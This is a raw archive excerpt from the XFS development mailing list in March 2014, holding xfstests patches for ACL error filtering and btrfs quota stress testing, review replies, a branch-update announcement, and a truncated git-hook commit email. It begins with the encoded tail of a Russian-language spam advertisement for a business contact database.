=D0=9D=D0=B0=D1=88=D0=B0 =D0=BA=D0=BE=D0=BC=D0=BF=D0=B0=D0=BD= =D0=B8=D1=8F =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D0=B8=D1= =82 =D1=84=D0=B8=D1=80=D0=BC=D0=B5=D0=BD=D0=BD=D1=8B=D0=B9 =D0=BA=D0=B0= =D1=82=D0=B0=D0=BB=D0=BE=D0=B3. =D0=9F=D1=80=D0=B5= =D0=B4=D0=BB=D0=BE=D0=B3=D0=B0=D0=B5=D0=BC  =D0=B2=D0=B0=D0=BC =D0=BF=D0=BE=D0=BA=D1=83=D0=BF=D0= =B0=D1=82=D1=8C  =D0=B1=D0= =B5=D0=BB=D0=BE=D1=80=D1=83=D1=81=D1=81=D0=BA=D0=B8=D1=85 =D0=BF=D1=80= =D0=B5=D0=B4=D0=BF=D1=80=D0=B8=D1=8F=D1=82=D0=B8=D1=8F =D0=B1=D0=B0=D0= =B7=D0=B0.

=0D=0A

=D0= =91=D0=B0=D0=B7=D0=B0 =D0=A0=D0=B5=D1=81=D0=BF=D1=83=D0=B1=D0=BB=D0=B8= =D0=BA=D0=B8 =D0=91=D0=B5=D0=BB=D0=B0=D1=80=D1=83=D1=81=D1=8C = =D1=81=D0=B4=D0=B5=D0=BB=D0=B0=D0=BD=D0=BD=D0= =BE =D0=B2 2012 =D0=B3=D0= =BE=D0=B4.

=0D=0A

 

=0D=0A

=D0= =91=D0=B0=D0=B7=D0=B5 =D0=B1=D0=B8=D0=B7=D0=BD=D0=B5=D1=81-=D0=B4=D0=B0= =D0=BD=D0=BD=D1=8B=D1=85 =D0=91=D0=B5=D0=BB=D0=B0=D1=80=D1=83=D1=81=D1= =8C:

=0D=0A

=D0=9D=D0=B0=D0=B7=D0=B2= =D0=B0=D0=BD=D0=B8=D0=B5 =D0=BA=D0=BE=D0=BC=D0=BF=D0=B0=D0=BD=D0=B8=D0= =B8 69'000

=0D=0A

=D0=90=D0=B4=D1=80=D0= =B5=D1=81 69'000

=0D=0A

=D0= =93=D0=BE=D1=80=D0=BE=D0=B4 69'000

=0D=0A

=D0=A2=D0=B5=D0=BB=D0=B5=D1=84=D0=BE=D0=BD =D0=AD=D0= =BB. 69'000

=0D=0A

=D0=9A=D0=B0=D1=82= =D0=B5=D0=B3=D0=BE=D1=80=D0=B8=D0=B8  69'000

=0D= =0A

=D0=A2=D0=B0=D0=BA=D0=B6=D0=B5 =D0=B4=D0=BE=D0=B1=D0=B0=D0=B2=D0=BB=D1=8F=D0=B5=D0=BC<= SPAN style=3D"mso-spacerun: yes">  100.000+ =D0=BF=D0=BE=D1= =87=D1=82=D0=BE=D0=B9 =D0=B8=D0=B7 =D0=91=D0=B5=D0=BB=D0=B0=D1=80=D1=83= =D1=81=D0=B8 =E2=80=93 2014=D0=B3.

= =0D=0A

 

=0D= =0A

=D0=AD=D1=82=D0=BE =D0=B1=D1=83=D0=B4=D0=B5=D1=82 =D1=81= =D1=82=D0=BE=D0=B8=D1=82=D1=8C = 99 =D0= =B4=D0=BE=D0=BB=D0=BB=D0=B0=D1=80=D0=BE=D0=B2.

=0D= =0A

 

=0D=0A

 

=0D=0A

 

=0D=0A

=D0=A1 =D1=83=D0=B2=D0=B0=D0=B6=D0=B5= =D0=BD=D0=B8=D0=B5=D0=BC,

=0D=0A

=D0=A0=D1=83=D0=BA= =D0=BE=D0=B2=D0=BE=D0=B4=D0=B8=D1=82=D0=B5=D0=BB=D1=8C =D0=BF=D0=BE =D0= =BF=D1=80=D0=BE=D0=B4=D0=B0=D0=B6=D0=B0=D0=BC=

=0D=0A

=D0=94=D0= =B5=D0=BD=D0=B8=D1=81 =D0=9A=D0=BE=D0=B2=D0=B0=D0=BB=D1=8C=D1=81=D0=BA= =D0=B8=D1=81    =        <= /P>=0D=0A

&n= bsp;

=0D=0A

 

------=_NextPart_000_0001_38099B6C.CE851D4B-- From jeff.liu@oracle.com Wed Mar 12 19:39:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 625417F67 for ; Wed, 12 Mar 2014 19:39:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 636B88F80A6 for ; Wed, 12 Mar 2014 17:39:39 -0700 (PDT) X-ASG-Debug-ID: 1394671177-04cbb054b92e2bd0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 1RyR1o3tnxChvatI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Mar 2014 17:39:37 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2D0dadD019564 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 13 Mar 2014 00:39:37 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2D0dZat018715 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 13 Mar 2014 00:39:36 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2D0dZmR019897 for ; Thu, 13 Mar 2014 00:39:35 GMT Received: from [192.168.1.102] (/119.179.91.50) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 12 Mar 2014 17:39:35 -0700 Message-ID: <5320FE44.8050000@oracle.com> Date: Thu, 13 Mar 2014 08:39:32 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v3] xfstests: shared/051: add filter to match the golden output for large acls Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v3] xfstests: shared/051: add filter to match the golden output for large acls Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1394671177 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu On old kernel we return EINVAL if hit the limits of maximum number of ACLs but return E2BIG on new kernel, which cause the test failes on new kernel as the output is mismatch to the goldens. This patch fix it by updating the golden output with the new error message and replacing the old error message with it via a filter. Signed-off-by: Jie Liu --- V3->V2: filter out the old error message to the new and update golden output to match it V2->V1: filter out the new error message to the old tests/shared/051 | 10 +++++++++- tests/shared/051.out | 2 +- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/tests/shared/051 b/tests/shared/051 index e957f86..934f353 100755 --- a/tests/shared/051 +++ b/tests/shared/051 @@ -318,6 +318,14 @@ chacl m:user1:rwx file1 chacl a::rwx file1 set +x +# we return E2BIG if hit the max acl limits on new kernel, but EINVAL +# on old kernel. So we need to filter out the error message in order +# to make the updated golden output works for both old and new kernels. +_filter_largeacl() +{ + sed -e "s/Invalid argument/Argument list too long/" +} + #------------------------------------------------------- echo "" @@ -342,7 +350,7 @@ chacl $acl2 largeaclfile getfacl --numeric largeaclfile | _filter_aces echo "1 above xfs acl max" -chacl $acl3 largeaclfile +chacl $acl3 largeaclfile 2>&1 | _filter_largeacl getfacl --numeric largeaclfile | _filter_aces echo "use 16 aces" diff --git a/tests/shared/051.out b/tests/shared/051.out index a871082..354ec6a 100644 --- a/tests/shared/051.out +++ b/tests/shared/051.out @@ -280,7 +280,7 @@ mask::rwx other::rwx 1 above xfs acl max -chacl: cannot set access acl on "largeaclfile": Invalid argument +chacl: cannot set access acl on "largeaclfile": Argument list too long # file: largeaclfile # owner: 0 # group: 0 -- 1.8.3.2 From david@fromorbit.com Wed Mar 12 22:11:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A2F67F6B for ; Wed, 12 Mar 2014 22:11:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D2C97AC002 for ; Wed, 12 Mar 2014 20:11:47 -0700 (PDT) X-ASG-Debug-ID: 1394680304-04bdf05dab512500001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id I0aNikdxZxlXyWHl for ; Wed, 12 Mar 2014 20:11:45 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqJCAIAhIVN5LJYePGdsb2JhbABZgwaDRoUMtEeFWIEfFwMBAQEBHxkNKIIlAQEBBCcTHCMQCAMVAwklDwUlAwcaE4d4004XFo5GB4MkgRQBA5hElB2BUik Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 13:38:37 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNw0Y-0001Rz-Re; Thu, 13 Mar 2014 14:08:34 +1100 Date: Thu, 13 Mar 2014 14:08:34 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v3] xfstests: shared/051: add filter to match the golden output for large acls Message-ID: <20140313030834.GB4263@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: shared/051: add filter to match the golden output for large acls References: <5320FE44.8050000@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5320FE44.8050000@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394680304 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 13, 2014 at 08:39:32AM +0800, Jeff Liu wrote: > From: Jie Liu > > On old kernel we return EINVAL if hit the limits of maximum number of > ACLs but return E2BIG on new kernel, which cause the test failes on new > kernel as the output is mismatch to the goldens. This patch fix it by > updating the golden output with the new error message and replacing the > old error message with it via a filter. > > Signed-off-by: Jie Liu > --- > > V3->V2: filter out the old error message to the new and update golden output to match it > V2->V1: filter out the new error message to the old Looks good Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 12 22:12:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E65867F74 for ; Wed, 12 Mar 2014 22:12:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 54B14AC002 for ; Wed, 12 Mar 2014 20:12:42 -0700 (PDT) X-ASG-Debug-ID: 1394680359-04cbb054b72ee230001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WYlFX8LWxLeCRM8p for ; Wed, 12 Mar 2014 20:12:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar1DAIAhIVN5LJYePGdsb2JhbABZgwaDRoUMtEeBZYNzgR8XAwEBAQEfGQ0ogiUBAQEEJxMcIxAIAw4KCSUPBSUDBxoTh3jTThcWjWQRAQNNB4MkgRQEjk+JdZVvKYEtCBc Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 13:42:18 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNw49-0001SX-5i; Thu, 13 Mar 2014 14:12:17 +1100 Date: Thu, 13 Mar 2014 14:12:17 +1100 From: Dave Chinner To: Josef Bacik Cc: Wang Shilong , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations Message-ID: <20140313031217.GC4263@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/3] xfstests/btrfs: add stress test for btrfs quota operations References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <1394423051-17356-3-git-send-email-wangsl.fnst@cn.fujitsu.com> <531E171B.8090204@fb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531E171B.8090204@fb.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394680359 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 03:48:43PM -0400, Josef Bacik wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 03/09/2014 11:44 PM, Wang Shilong wrote: > > So this is a stress test for btrfs quota operations. it can also > > detect the following commit fixed problem: > > > > 4082bd3d73(Btrfs: fix oops when writting dirty qgroups to disk) > > > > Signed-off-by: Wang Shilong --- > > v1->v2: switch into new helper _run_btrfs_util_prog() --- > > tests/btrfs/043 | 76 > > +++++++++++++++++++++++++++++++++++++++++++++++++++++ > > tests/btrfs/043.out | 2 ++ tests/btrfs/group | 1 + 3 files > > changed, 79 insertions(+) create mode 100755 tests/btrfs/043 create > > mode 100644 tests/btrfs/043.out > > > > diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode > > 100755 index 0000000..d6c4bf3 --- /dev/null +++ b/tests/btrfs/043 > > @@ -0,0 +1,76 @@ +#! /bin/bash +# FS QA Test No. 043 +# +# > > stresstest for btrfs quota operations. we run fsstress and quota +# > > operations concurrently. +# > > +#----------------------------------------------------------------------- > > > > > +# Copyright (c) 2014 Fujitsu. All Rights Reserved. > > +# +# This program is free software; you can redistribute it > > and/or +# modify it under the terms of the GNU General Public > > License as +# published by the Free Software Foundation. +# +# This > > program is distributed in the hope that it would be useful, +# but > > WITHOUT ANY WARRANTY; without even the implied warranty of +# > > MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# > > GNU General Public License for more details. +# +# You should have > > received a copy of the GNU General Public License +# along with > > this program; if not, write the Free Software Foundation, +# Inc., > > 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > > +#----------------------------------------------------------------------- > > > > > +# > > + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output > > created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is > > the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + > > +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard > > environment, filters and checks +. ./common/rc +. ./common/filter > > + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm > > -f $seqres.full + +_quota_enabled_background() +{ + i=1 + while [ > > $i -le 5 ] + do + _run_btrfs_util_prog quota enable $SCRATCH_MNT + > > _run_btrfs_util_prog quota disable $SCRATCH_MNT + i=$(($i+1)) + > > sleep 1 + done +} + +MKFS_SIZE=$((1024 * 1024 * 1024)) +run_check > > _scratch_mkfs_sized $MKFS_SIZE +run_check _scratch_mount + > > +_quota_enabled_background & +run_check $FSSTRESS_PROG -d > > $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID + +run_check > > _scratch_unmount +_check_scratch_fs + > > You should probably be doing something to make sure the background > quota stuff exits properly before your script exits, my fio box can > run the fsstress in way less than 5 seconds. Thanks, josef - you might want to have a look at what your mailer is doing to quoted email ad fix it... ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 12 22:22:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4FE6D7F6C for ; Wed, 12 Mar 2014 22:22:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B5AA3AC001 for ; Wed, 12 Mar 2014 20:22:47 -0700 (PDT) X-ASG-Debug-ID: 1394680964-04cb6c56774e7870001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id cSIQ58ZATMFhE6We for ; Wed, 12 Mar 2014 20:22:45 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqBCALMjIVN5LJYePGdsb2JhbABZgwaDRoUMtEeFWIEfFwMBAQEBHxkNKIIlAQEBBDocIxAIAw4KCSUPBSUDBxoTh3jTTBcWjkYHgySBFAEDmESVbyk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 13:52:44 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNwEE-0001UM-CP; Thu, 13 Mar 2014 14:22:42 +1100 Date: Thu, 13 Mar 2014 14:22:42 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH v2 0/8] Add tests for zero range into xfstests Message-ID: <20140313032242.GD4263@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 0/8] Add tests for zero range into xfstests References: <1394034699-21187-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1394034699-21187-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394680965 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 05, 2014 at 04:51:31PM +0100, Lukas Czerner wrote: > Hi, > > this patch set adds two new test for zero range into xfstests - generic/008 > and ext4/001. It also adds zero range support for fsstress and fsx. Lukas, I don't see a generic test equivalent of ext4/001 in this series? Can you please write one so that we have the same coverage on all other supported filesystems? The rest of the patch series is fine, but I'd really like you to finish the job off properly... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 13 00:27:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 75FF37F4E for ; Thu, 13 Mar 2014 00:27:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 25E7DAC001 for ; Wed, 12 Mar 2014 22:27:39 -0700 (PDT) X-ASG-Debug-ID: 1394688456-04bdf05dac51a440001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Zohs3Q1IdoKIaFSy for ; Wed, 12 Mar 2014 22:27:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgFuAD9BIVN5LJYePGdsb2JhbABZgwY7gwuFDKEjBJFLgVaFWIEfFwMBAQEBHxkNKIJmHCMYJDQFJQMHLYd403UWjXlNgjUPgXsEmESBM5Q8KYEt Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 15:57:36 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNyB2-0001kH-Pq; Thu, 13 Mar 2014 16:27:32 +1100 Date: Thu, 13 Mar 2014 16:27:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [ANNOUNCE] xfstests: master branch updated to 3948694 Message-ID: <20140313052732.GG6851@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests: master branch updated to 3948694 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394688456 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3832 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. I know I skipped a couple of posted tests because they hadn't obviously been reviewed and I didn't know what the status of them was, so reposts (and reviews!) would be appreciated. The new head of the master branch is commit: 3948694 xfs/300: fix golden output New Commits: Dave Chinner (5): [763b46f] xfs/033: add golden output for CRC enabled filesystems [97a665b] xfs/189: noattr2 invalid for CRC enabled filesystems [84edd7a] generic/003: ensure time changes between stat calls [4a74700] xfs/217: prevent enospc failures on small test devices [b50473c] xfs/167: need at least 10GB of scratch space to run Dmitry Monakhov (2): [3365817] fsstress: add verifiable logging mode [33e02a8] generic/280: use waidpid instead of ugly sleep Eric Sandeen (2): [9642986] aio-dio: fix error msg in aio-dio-subblock-eof-read.c [3948694] xfs/300: fix golden output Filipe David Borba Manana (2): [2dd0dbe] btrfs: add function _require_fssum() [5f1cd20] btrfs: add test for btrfs-progs restore feature Jie Liu (1): [5f6be5c] shared/051: add filter to match the golden output for large acls Lukas Czerner (8): [212f48f] common: Create single function for testing xfs_io commands [9589e15] common: create _test_block_boundaries in common/punch [613cb30] generic/008: Add test for fallocate zero range at block boundary [2dc43e0] build: Move fallocate include into global.h [2d2d853] fsstress: Add fallocate zero range operation [4544179] fsstress: translate flags in fiemap_f [f074613] fsx: Add fallocate zero range operation [4d46e47] ext4/001: Add ext4 specific test for fallocate zero range Wang Shilong (1): [8acf172] btrfs: add basic functional test for btrfs quota groups ZhangZhen (1): [f7f9492] btrfs: cleanup tests 004, 007, 022 and 025 Code Diffstat: check | 2 +- common/attr | 10 + common/filter | 3 + common/punch | 106 ++++++ common/rc | 78 +++-- configure.ac | 3 +- ltp/fsstress.c | 222 ++++++++---- ltp/fsx.c | 146 +++++--- src/aio-dio-regress/aio-dio-subblock-eof-read.c | 4 +- src/global.h | 25 ++ tests/btrfs/004 | 2 +- tests/btrfs/007 | 11 +- tests/btrfs/016 | 5 +- tests/btrfs/022 | 24 +- tests/btrfs/025 | 20 +- tests/btrfs/030 | 5 +- tests/btrfs/038 | 5 +- tests/btrfs/039 | 5 +- tests/btrfs/040 | 5 +- tests/btrfs/041 | 113 +++++++ tests/btrfs/041.out | 40 +++ tests/btrfs/042 | 95 ++++++ tests/btrfs/042.out | 2 + tests/btrfs/group | 2 + tests/ext4/001 | 64 ++++ tests/ext4/001.out | 337 ++++++++++++++++++ tests/ext4/group | 1 + tests/generic/003 | 110 +++--- tests/generic/008 | 57 ++++ tests/generic/008.out | 433 ++++++++++++++++++++++++ tests/generic/280 | 3 +- tests/generic/group | 1 + tests/shared/051 | 10 +- tests/shared/051.out | 2 +- tests/xfs/033 | 10 +- tests/xfs/033.crc.out.linux | 197 +++++++++++ tests/xfs/167 | 6 + tests/xfs/189 | 2 + tests/xfs/217 | 4 + tests/xfs/290 | 40 +-- tests/xfs/290.out | 13 +- tests/xfs/300.out | 2 +- 42 files changed, 1930 insertions(+), 295 deletions(-) mode change 100644 => 100755 tests/btrfs/016 create mode 100755 tests/btrfs/041 create mode 100644 tests/btrfs/041.out create mode 100755 tests/btrfs/042 create mode 100644 tests/btrfs/042.out create mode 100755 tests/ext4/001 create mode 100644 tests/ext4/001.out create mode 100755 tests/generic/008 create mode 100644 tests/generic/008.out create mode 100644 tests/xfs/033.crc.out.linux -- Dave Chinner david@fromorbit.com From dgc@oss.sgi.com Thu Mar 13 03:34:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 21C307F77; Thu, 13 Mar 2014 03:34:19 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-O_TMPFILE-support, created. v3.12-11688-gab29743 X-Git-Refname: refs/heads/xfs-O_TMPFILE-support X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: ab29743117f9f4c22ac44c13c1647fb24fb2bafe Message-Id: <20140313083419.21C307F77@oss.sgi.com> Date: Thu, 13 Mar 2014 03:34:18 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-O_TMPFILE-support has been created at ab29743117f9f4c22ac44c13c1647fb24fb2bafe (commit) - Log ----------------------------------------------------------------- commit ab29743117f9f4c22ac44c13c1647fb24fb2bafe Author: Zhi Yong Wu Date: Wed Dec 18 08:22:41 2013 +0800 xfs: allow linkat() on O_TMPFILE files The VFS allows an anonymous temporary file to be named at a later time via a linkat() syscall. The inodes for O_TMPFILE files are are marked with a special flag I_LINKABLE and have a zero link count. To support this in XFS, xfs_link() detects if this flag I_LINKABLE is set and behaves appropriately when detected. So in this case, its transaciton reservation takes into account the additional overhead of removing the inode from the unlinked list. Then the inode is removed from the 